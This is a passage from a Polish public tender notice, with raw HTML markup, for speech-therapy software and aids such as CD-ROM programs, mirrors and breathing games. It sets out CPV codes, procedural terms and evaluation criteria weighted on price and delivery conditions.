pudełku wyposażony w 4 płyty CD-ROM podzielony na dwie części tematyczne: cześć 1: zabawki, części ciała, zwierzęta w zoo, zwierzęta i natura, zwierzęta domowe, meble, przybory szkolne, ubrania, sprzęt domowy, instrumenty, przybory codziennego użytku, dom, przyimki, zaimki, cześć 2: rodzina, warzywa, owoce, słodycze, posiłki i napoje, pogoda, środki transportu, czas, emocje, przymiotniki, przysłówki, zawody, sport, czasowniki, tematyczne zestawy wyrazów.	178	LogorytmikaMultimedialny program do terapii logopedycznej w tekturowym pudełku wyposażony w 1 płytę CD-ROM z wieloma prezentacjami i filmikami.	179	Mówiące obrazkiProgram multimedialny wspomagający terapię logopedyczną w tekturowym pudełku wyposażony w 1 płytę CD-ROM.	180	Program eduSensus - Logopedia 2.0 - pakiet poszerzony - GOLD lub program równoważnyProgram multimedialny w tekturowym pudełku wyposażony w 14 programów do diagnozy i terapii logopedycznej: Szereg szumiący - moduł podstawowy, Szereg syczący - moduł podstawowy, Szereg ciszący - moduł podstawowy, Szereg szumiący - moduł profesjonalny, Szereg syczący - moduł profesjonalny, Szereg ciszący - moduł profesjonalny, Różnicowanie szeregów, Głoska r - moduł podstawowy, Głoski r, l - moduł profesjonalny, Mowa bezdźwięczna, Sfonem,	Echokorektor, Trening logopedyczny, Głoski tylnojęzykowe k, g, h.Program wyposażony jest również w aplikację logopedy (program zarządzający) - funkcjonalne narzędzie z wbudowanym modułem diagnostycznym. Program zawiera wzory przydatnych dokumentów, np. Diagnoza logopedyczna, Opinia logopedyczna, Skierowanie do specjalisty. Program zawiera również aplikację logopedy pozwalające na: tworzenie bazy pacjentów i zarządzanie nią, np. grupowanie pacjentów pod względem tych samych obszarów terapii; diagnozę umiejętności i możliwości artykulacyjnych dziecka; nagranie i opisanie dowolnej liczby dźwięków; śledzenie postępów terapii.Program podsiada atrakcyjne dodatki oraz pomoce tradycyjne: Interface foniczny, profesjonalny mikrofon, nakładki na mikrofon, umożliwiające higieniczne użytkowanie drukarka laserowa, Przewodnik metodyczny zawierający scenariusze zajęć logopedycznych, zestaw obrazków oraz plakatów "Już potrafię to wymówić!", szpatułki logopedyczne, kolorowe piórka i słomki, książeczki z zestawem labiogramów i wierszyków, naklejki Mówtaki, Książeczka Logo-Rymy (z dołączonymi 2 płytami CD).	181	Duże lustro okrągłe ścienneEkonomiczne i bezpieczne lustro naścienne stanowiący pomoc dydaktyczną w terapii logopedycznej. Wykonane z akrylowego lustra oprawionego w miękką, piankową ramkę. Dostarczane z kompletem przylepców - średnica 32 cm.	182	Małe bezpieczne lusterka logopedyczne do trzymaniaZestaw edukacyjny czterech bezpiecznych lusterek oprawionych w przyjemną w dotyku, miękką i kolorową piankę. Piankowe oprawy lusterek posiadają po obu stronach wygodne uchwyty na ręce. Każde lusterko ma inny kształt: kwadrat, koło, prostokąt, trójkąt - wymiary oprawy 34 x 21 x 1,5 cm - lustro kwadratowe o boku 16 cm.	583	Turbinka logopedyczna - (Turbino)Logopedyczna gra oddechowa w tekturowym pudełku zawierająca: podstawka i śmigło - obręcz z obrazkami zwierząt po obu stronach, instrukcję, jeden szary i jeden pomarańczowy płócienny woreczek na gumowe pierścienie, 10 szarych i 10 pomarańczowych gumowych pierścieni. Gra przeznaczona dla 2 osób.	584	Myotopia - skarbiec gier logopedycznychZestaw gier logopedycznych wspomagających terapię zawierający: 5 gier na zasysanie, 5 plansz, 4 kostki (kolory, oczka 1-6, oczka 1-3), 224 obrazkowych żetonów (w 5 seriach), 8 słomek, 5 gier na dmuchanie: 54 kart motoryki twarzy, plaster miodu z kartonu, kartonowe akwarium do rozłożenia, 2 plastikowe żabki, 13 dużych żółtych krążków, 13 małych żółtych krążków, 1 plastikowe autko, kuleczki waty, 1 piłeczka tenisowa, szklane kuleczki, 4 wędki, słomki, obszerna instrukcja z opisem 10 gier logopedycznych. Gra posiada zabawnych bohaterów, tj. pszczółki, żabki, wodne żyjątka, zwierzaki i samochody, pokazują dzieciom jak ćwiczyć i utrwalać podczas nauki siłę i kierunek oddechu. Wszystkie elementy zestawu są oznakowane symbolami i numerami w taki sposób, aby logopeda mógł szybko je odszukać zarówno w pudelku, jak i w broszurze. Broszura metodyczna zawiera obszerny opis wszystkich zabaw, a także tabelaryczne zestawienie wykonywanych w ich trakcie ćwiczeń logopedycznych. Zestaw Myotopia nadaje sie zarówno do terapii indywidualnej, jak i ćwiczeń z mała grupą dzieci.	185	Słuch fonemowy - program komputerowyProgram komputerowy wspomagający terapię logopedyczną. Opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa.Program edukacyjny zawiera takie gry jak: PODPISZ I POWIEDZ - ćwiczenia zawarte w grze są pomocne przy utrwalaniu głosek opozycyjnych w wyrazach (w różnych pozycjach), ZAPAMIĘTAJ I POWIEDZ - gra polega na odkrywaniu 2 kart i szukaniu pary. Parę tworzy obrazek i jego nazwa wypowiedziana przez lektora, UZUPEŁNIJ WYRAZ - gra ma na celu różnicowanie i utrwalanie głosek opozycyjnych, POSŁUCHAJ I WYBIERZ - gra polega na wskazaniu obrazka, którego nazwa została wypowiedziana przez lektora, DOBIERZ PARONIMY - gra polega na połączeniu paronimów, NAGRAJ I ODTWÓRZ - to bardzo prosty rejestrator dźwięku. Umożliwia nagranie wymowy dziecka i porównanie jej np. na początku i końcu terapii.	186	Logopedyczne programy komputerowe: Część 4 (j, l, r) - program komputerowy "Logopedyczne zabawy" Program komputerowy wspomagający terapię logopedyczną opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa. Program edukacyjny zawiera takie gry jak: ODGŁOSY - gra zawiera wyrazy dźwiękonaśladowcze i polega na dobieraniu w pary obrazków do pokazanych poniżej napisów, PODPISZ I POWIEDZ - gra polega na podpisaniu obrazka, KLOCKI - gra polega na dobieraniu obrazków w pary, LATAJĄCY SPODEK - gra polega na wstawianiu właściwej litery w odpowiednią pustą kratkę, LABIRYNT - gra polega na przejechaniu pojazdem labiryntu. Wybierając drogę należy przejechać przez obrazki zawierające głoskę (głoski) wybraną w menu początkowym.	187	Logopedyczne programy komputerowe: Różnicowanie szeregów - program komputerowy Program komputerowy wspomagający terapię logopedyczną opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa. Program edukacyjny zawiera takie gry jak: POCIĄG - to gra, która polega na umieszczeniu obrazków z pociągu na właściwych półkach z literami, PRZYSSAWKI - gra, która polega na etykietowaniu obrazków poprzez przeciągnięcie do nich właściwego napisu, ZAPAMIĘTAJ I POWIEDZ - gra polega na odkrywaniu 2 kart i szukaniu pary, MAGAZYNIER - zadaniem gracza jest poukładanie na półkach napisów i obrazków. Wózek obsługuje się klawiszami strzałek, TAŚMOCIĄG - zadaniem gracza jest przeniesienie obrazka znajdujące się na taśmociągu do rury z właściwą głoską, NAGRAJ I ODTWÓRZ - to bardzo prosty rejestrator dźwięku. Umożliwia nagranie wymowy dziecka i porównanie jego wymowy np. na początku i końcu terapii. 188	Logopedyczne programy komputerowe: Część 1 (sz, ż, cz, dż) - program komputerowy "Logopedyczne zabawy" Program komputerowy wspomagający terapię logopedyczną opakowanie wyposażone w płytę CD - licencja 1-stanowiskowa. Program edukacyjny zawiera takie gry jak: ZAPAMIĘTAJ I POWIEDZ - jest to program obrazkowy umożliwiający ćwiczenie trudnych głosek i pozwalający na porównywanie wymowy ze wzorcem podanym przez komputer, UZUPEŁNIJ WYRAZ - program ma na celu utrwalanie różnicowania głosek opozycyjnych sz - s, cz - c, ż - z, dż - dz, SPADAJĄCE KARTY - jest to program, który oprócz ćwiczenia poprawnej wymowy, wyrabia u dziecka świadomość fonologiczną, ćwiczy refleks, koncentrację uwagi, spostrzegawczość wzrokową, NAGRAJ I ODTWÓRZ - to bardzo prosty rejestrator dźwięku. Umożliwia nagranie wymowy dziecka i porównanie jego wymowy np. na początku i końcu terapii.	189	Test artykulacyjny 100-wyrazowy standaryzowany do diagnozyTestem do badania wymowy w skład, którego wchodzi: materiał obrazkowy (20,5 x 15 cm), instrukcja, podręcznik, karta badania mowy: ocena jakościowa (wersja IPA), karta badania mowy: ocena ilościowa (wersja IPA), karta badania mowy: ocena ilościowa (wersja slawistyczna), segregator.	1</span> <br/> <br/> <b>II.5) Główny kod CPV: </b> <span id="ctl00_ContentPlaceHolder1_cpv_glowny_przedmiot">30213100-6</span> <br/> <b> Dodatkowe kody CPV:</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kod CPV</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>30232000-4</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>38650000-6</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>48000000-8</TD></TR></TABLE> <br /> <br /> <b> II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>: <br/> Wartość bez VAT: <span id="ctl00_ContentPlaceHolder1_szacunkowa_wartosc_zamowienia_calosc"></span> <br/> Waluta: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_waluta_calosc"></span> <br/> <i>(w przypadku umów ramowych lub dynamicznego systemu zakupów - szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i> </div> <br/> <b> II.7) Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: </b> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67">Nie</span> <br/> Określenie przedmiotu, wielkości lub zakresu oraz warunków na jakich zostaną udzielone zamówienia, o których mowa w art. 67 ust. 1 pkt 6 lub w art. 134 ust. 6 pkt 3 ustawy Pzp: <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zamowien_67_tekst"></span> <br/> <b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b> <br /> miesiącach:&#160; <span id="ctl00_ContentPlaceHolder1_okres_w_miesiacach"></span> &#160;<i> lub </i> <b> dniach:</b> <span id="ctl00_ContentPlaceHolder1_okres_w_dniach">30</span> <br /> <i>lub</i> <br /> <b> data rozpoczęcia: </b> <span id="ctl00_ContentPlaceHolder1_data_rozpoczecia"></span> &#160;<i> lub </i><b> zakończenia: </b> <span id="ctl00_ContentPlaceHolder1_data_zakonczenia"></span> <br /> <br/> <b>II.9) Informacje dodatkowe: </b> <span id="ctl00_ContentPlaceHolder1_informacje_na_temat_katalogow"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b> III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU </b> <br/> <div style="padding-left: 20px"> <b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_okreslenie_warunkow">zamawiający nie określa szczegółowego warunku w tym zakresie </span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_informacje_dodatkowe_okreslenie_warunkow"></span> <br/> <b>III.1.2) Sytuacja finansowa lub ekonomiczna </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_okreslenie_warunkow">zamawiający nie określa szczegółowego warunku w tym zakresie </span> <br/> Informacje dodatkowe <span id="ctl00_ContentPlaceHolder1_sytuacja_finansowa_informacje_dodatkowe"></span> <br/> <b>III.1.3) Zdolność techniczna lub zawodowa </b> <br/> Określenie warunków: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_okreslenie_warunkow">zamawiający nie określa szczegółowego warunku w tym zakresie </span> <br/> Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób: <span id="ctl00_ContentPlaceHolder1_czy_zdolnosc_techniczna_wymaga_wykonawcow"></span> <br/> Informacje dodatkowe: <span id="ctl00_ContentPlaceHolder1_zdolnosc_techniczna_informacje_dodatkowe"></span> </div> <b> III.2) PODSTAWY WYKLUCZENIA </b> <br/> <div style="padding-left: 20px"> <b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1 ustawy Pzp</b> <br/> <b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b> <span id="ctl00_ContentPlaceHolder1_czy_zamawiajacy_przewiduje_wykluczenie">Nie</span> Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia: <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_1"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_2"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_3"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_4"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_5"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_6"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_7"></span> <br/> <span id="ctl00_ContentPlaceHolder1_art_24_ust_5_pkt_8"></span> <br/> </div> <b> III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI </b> <br/> <div style="padding-left: 20px"> <b> Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_niepodleganiu_wykluczenia">Tak</span> <br/> <b> Oświadczenie o spełnianiu kryteriów selekcji </b> <br/> <span id="ctl00_ContentPlaceHolder1_czy_oswiadczenie_spelnienie_kryteriow">Nie</span> </div> <b> III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP: </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_dokumentow_zaswiadczen">Oświadczenia wykonawcy o przynależności albo braku przynależności do tej samej grupy kapitałowej; w przypadku przynależności do tej samej grupy kapitałowej wykonawca może złożyć wraz z oświadczeniem dokumenty bądź informacje potwierdzające, że powiązania z innym wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu. Zgodnie z art. 24 ust. 11 Pzp wykonawca, w terminie 3 dni od zamieszczenia na stronie internetowej informacji, o której mowa w art. 86 ust. 5 ustawy Pzp, przekazuje zamawiającemu oświadczenie o przynależności lub braku przynależności do tej samej grupy kapitałowej, o której mowa w art. 24 ust. 1 pkt 23 Pzp. Wraz ze złożeniem oświadczenia, wykonawca może przedstawić dowody, że powiązania z innym wykonawcą nie prowadzą do zakłócenia konkurencji w postępowaniu o udzielenie zamówienia</span> </div> <b> III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_warunkow_udzialu"></span> <br/> <b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b> <br/> <span id="ctl00_ContentPlaceHolder1_zakresie_kryteriow_selekcji"></span> </div> <b> III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP </b> <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_wykaz_potwierdzenie_okolicznosci"></span> </div> <b> III.7) INNE DOKUMENTY NIE WYMIENIONE W pkt III.3) - III.6) </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_inne_dokumenty_niewymienione"></span> </div> </div> </div> <div class="headerLarge_xforms" style="text-align: left"> <u> SEKCJA IV: PROCEDURA </u> </div> <div style="padding-left: 20px;"> <div style="text-align: left"> <b>IV.1) OPIS </b> <br/> <b>IV.1.1) Tryb udzielenia zamówienia: </b> <span id="ctl00_ContentPlaceHolder1_tryb_udzielenia_zamowienia">Przetarg nieograniczony</span> <br/> <b>IV.1.2) Zamawiający żąda wniesienia wadium:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wadium">Nie</span> <br/> Informacja na temat wadium <br/> <span id="ctl00_ContentPlaceHolder1_wadium"></span> </div> <br/> <b>IV.1.3) Przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_przewiduje_udzielenie_zaliczek">Nie</span> <br/> Należy podać informacje na temat udzielania zaliczek: <br/> <span id="ctl00_ContentPlaceHolder1_przewiduje_udzielenie_zaliczek"></span> </div> <br/> <b> IV.1.4) Wymaga się złożenia ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Dopuszcza się złożenie ofert w postaci katalogów elektronicznych lub dołączenia do ofert katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_katalogow_elektronicznych">Nie</span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_zlozenie_katalogow_elektronicznych_informacje_dodatkowe"></span> </div> <br/> <b> IV.1.5.) Wymaga się złożenia oferty wariantowej: </b> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_czy_wymaga_zlozenie_oferty_wariantowej">Nie</span> <br/> Dopuszcza się złożenie oferty wariantowej <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej"></span> <br/> Złożenie oferty wariantowej dopuszcza się tylko z jednoczesnym złożeniem oferty zasadniczej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_dopuszcza_zlozenie_oferty_wariantowej_zasadniczej">Nie</span> </div> <br/> <b> IV.1.6) Przewidywana liczba wykonawców, którzy zostaną zaproszeni do udziału w postępowaniu </b> <br/> <i> (przetarg ograniczony, negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne) </i> <div style="padding-left: 20px"> Liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_liczba_wykonawcow"></span> <br/> Przewidywana minimalna liczba wykonawców <span id="ctl00_ContentPlaceHolder1_minimalna_liczba_wykonawcow"></span> <br/> Maksymalna liczba wykonawców &#160;<span id="ctl00_ContentPlaceHolder1_maksymalna_liczba_wykonawcow"></span> <br/> Kryteria selekcji wykonawców: <br/> <span id="ctl00_ContentPlaceHolder1_znaczenie_warunkow_wykonawcow"></span> </div> <br/> <b> IV.1.7) Informacje na temat umowy ramowej lub dynamicznego systemu zakupów: </b> <div style="padding-left: 20px"> Umowa ramowa będzie zawarta: <br/> <span id="ctl00_ContentPlaceHolder1_z_kim_umowa_bedzie_zawarta"></span> <br/> Czy przewiduje się ograniczenie liczby uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_czy_ograniczenie_liczby_uczestnikow"></span> <br/> Przewidziana maksymalna liczba uczestników umowy ramowej: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenie_liczby_uczestnikow_informacje_dodatkowe"></span> <br/> Zamówienie obejmuje ustanowienie dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_obejmuje_ustanowienie"></span> <br/> Adres strony internetowej, na której będą zamieszczone dodatkowe informacje dotyczące dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_obejmuje_ustanowienie_informacje_dodatkowe"></span> <br/> W ramach umowy ramowej/dynamicznego systemu zakupów dopuszcza się złożenie ofert w formie katalogów elektronicznych: <br/> <span id="ctl00_ContentPlaceHolder1_czy_umowy_ramowej_dynamicznego_katalogow"></span> <br/> Przewiduje się pobranie ze złożonych katalogów elektronicznych informacji potrzebnych do sporządzenia ofert w ramach umowy ramowej/dynamicznego systemu zakupów: <br/> <span id="ctl00_ContentPlaceHolder1_czy_pobranie_umowy_ramowej_dynamicznego_katalogow"></span> </div> <br/> <b>IV.1.8) Aukcja elektroniczna </b> <br/> <b> Przewidziane jest przeprowadzenie aukcji elektronicznej </b><i>(przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem) </i> <span id="ctl00_ContentPlaceHolder1_aukcja_elektroniczna">Nie</span> <br/> Należy podać adres strony internetowej, na której aukcja będzie prowadzona: <br/> <span id="ctl00_ContentPlaceHolder1_adres_strony_na_ktorej_bedzie_prowadzona"></span> <br/> <b>Należy wskazać elementy, których wartości będą przedmiotem aukcji elektronicznej: </b> <span id="ctl00_ContentPlaceHolder1_elementy_aukcji_elektronicznej"></span> <br/> <b>Przewiduje się ograniczenia co do przedstawionych wartości, wynikające z opisu przedmiotu zamówienia:</b> <br/> <span id="ctl00_ContentPlaceHolder1_ograniczenia_do_przedstawianych_wartosci"></span> <br/> Należy podać, które informacje zostaną udostępnione wykonawcom w trakcie aukcji elektronicznej oraz jaki będzie termin ich udostępnienia: <span id="ctl00_ContentPlaceHolder1_informaje_udostepnione_wykonawcom"></span> <br/> Informacje dotyczące przebiegu aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_informaje_przebiegu_aukcji"></span> <br/> Jaki jest przewidziany sposób postępowania w toku aukcji elektronicznej i jakie będą warunki, na jakich wykonawcy będą mogli licytować (minimalne wysokości postąpień): <span id="ctl00_ContentPlaceHolder1_warunki_do_licytacji"></span> <br/> Informacje dotyczące wykorzystywanego sprzętu elektronicznego, rozwiązań i specyfikacji technicznych w zakresie połączeń: <span id="ctl00_ContentPlaceHolder1_wykorzystanie_sprzetu_elektronicznego"></span> <br/> Wymagania dotyczące rejestracji i identyfikacji wykonawców w aukcji elektronicznej: <span id="ctl00_ContentPlaceHolder1_wymagania_dotyczace_rejestracji_wyk_aukcja"></span> <br/> Informacje o liczbie etapów aukcji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa"></span> <br/>Czas trwania: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_jednoetapowa_czas"></span> <br /> <br/> Czy wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_aukcja_wykonawcy_zakwalfikowani"></span> <br/> Warunki zamknięcia aukcji elektronicznej: <br/> <span id="ctl00_ContentPlaceHolder1_warunki_zamkniecia_aukcji"></span> </div> <br/> <b>IV.2) KRYTERIA OCENY OFERT </b> <br/> <b>IV.2.1) Kryteria oceny ofert: </b> <br/> <b>IV.2.2) Kryteria</b> <br/> <TABLE style='border: 1px solid black;border-collapse: collapse;'><TR><TD style='border: 1px solid black;border-collapse: collapse;'>Kryteria</TD><TD style='border: 1px solid black;border-collapse: collapse;'>Znaczenie</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>cena</TD><TD style='border: 1px solid black;border-collapse: collapse;'>60,00</TD></TR><TR><TD style='border: 1px solid black;border-collapse: collapse;'>warunki dostawy</TD><TD style='border: 1px solid black;border-collapse: collapse;'>40,00</TD></TR></TABLE> <br/> <b>IV.2.3) Zastosowanie procedury, o której mowa w art. 24aa ust. 1 ustawy Pzp </b>(przetarg nieograniczony) <br/> <span id="ctl00_ContentPlaceHolder1_zastosowanie_procedury_pzp">Nie</span> <br/> <b>IV.3) Negocjacje z ogłoszeniem, dialog konkurencyjny, partnerstwo innowacyjne </b> <br/> <b>IV.3.1) Informacje na temat negocjacji z ogłoszeniem</b> <br/> Minimalne wymagania, które muszą spełniać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_minimalne_wymagania"></span> <br/> Przewidziane jest zastrzeżenie prawa do udzielenia zamówienia na podstawie ofert wstępnych bez przeprowadzenia negocjacji <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziane_jest_zastrzezenie"></span> <br/> Przewidziany jest podział negocjacji na etapy w celu ograniczenia liczby ofert: <span id="ctl00_ContentPlaceHolder1_IV_3_1_Przewidziany_podzial"></span> <br/> Należy podać informacje na temat etapów negocjacji (w tym liczbę etapów): <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_etapy_negocjacji"></span> <br/> Informacje dodatkowe <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_1_dodatkowe_informacje"></span> <br/> <br/> <b>IV.3.2) Informacje na temat dialogu konkurencyjnego</b> <br/> Opis potrzeb i wymagań zamawiającego lub informacja o sposobie uzyskania tego opisu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_opis_potrzeb"></span> <br/> Informacja o wysokości nagród dla wykonawców, którzy podczas dialogu konkurencyjnego przedstawili rozwiązania stanowiące podstawę do składania ofert, jeżeli zamawiający przewiduje nagrody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_informacja_wysokosc_nagrod"></span> <br/> Wstępny harmonogram postępowania: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_wstepny_harmonogram"></span> <br/> Podział dialogu na etapy w celu ograniczenia liczby rozwiązań: <span id="ctl00_ContentPlaceHolder1_IV_3_2_PodzialDialogu"></span> <br/> Należy podać informacje na temat etapów dialogu: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_EtapyDialogu"></span> <br/> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_2_DodatkoweInformacje"></span> <br/> <b>IV.3.3) Informacje na temat partnerstwa innowacyjnego</b> <br/> Elementy opisu przedmiotu zamówienia definiujące minimalne wymagania, którym muszą odpowiadać wszystkie oferty: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_ElementyOpisu"></span> <br/> Podział negocjacji na etapy w celu ograniczeniu liczby ofert podlegających negocjacjom poprzez zastosowanie kryteriów oceny ofert wskazanych w specyfikacji istotnych warunków zamówienia: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_PodzialNegocjacji"></span> <br/> Informacje dodatkowe: <br/> <span id="ctl00_ContentPlaceHolder1_IV_3_3_DodatkoweInfo"></span> <br/> <b>IV.4) Licytacja elektroniczna </b> <br/> Adres strony internetowej, na której będzie prowadzona licytacja elektroniczna: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_6"></span> </div> Adres strony internetowej, na której jest dostępny opis przedmiotu zamówienia w licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_7"></span> </div> Wymagania dotyczące rejestracji i identyfikacji wykonawców w licytacji elektronicznej, w tym wymagania techniczne urządzeń informatycznych: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_8"></span> </div> Sposób postępowania w toku licytacji elektronicznej, w tym określenie minimalnych wysokości postąpień: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_9"></span> </div> Informacje o liczbie etapów licytacji elektronicznej i czasie ich trwania: <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa"></span> <span id="ctl00_ContentPlaceHolder1_IV_4_10_licytacja_jednoetapowa_czas"> Czas trwania: </span> <br /> <br/> Wykonawcy, którzy nie złożyli nowych postąpień, zostaną zakwalifikowani do następnego etapu: <span id="ctl00_ContentPlaceHolder1_IV_4_10_wykonawcy_zakwalfikowani"></span> </div> Termin składania wniosków o dopuszczenie do udziału w licytacji elektronicznej: <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_11_data"></span> godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_11_godzina"></span> <br/> Termin otwarcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_12"></span> </div> Termin i warunki zamknięcia licytacji elektronicznej: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_13"></span> </div> <br/> Istotne dla stron postanowienia, które zostaną wprowadzone do treści zawieranej umowy w sprawie zamówienia publicznego, albo ogólne warunki umowy, albo wzór umowy: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_IstotnePostanowienia"></span> </div> <br/> Wymagania dotyczące zabezpieczenia należytego wykonania umowy: <br/> <div style="padding-left: 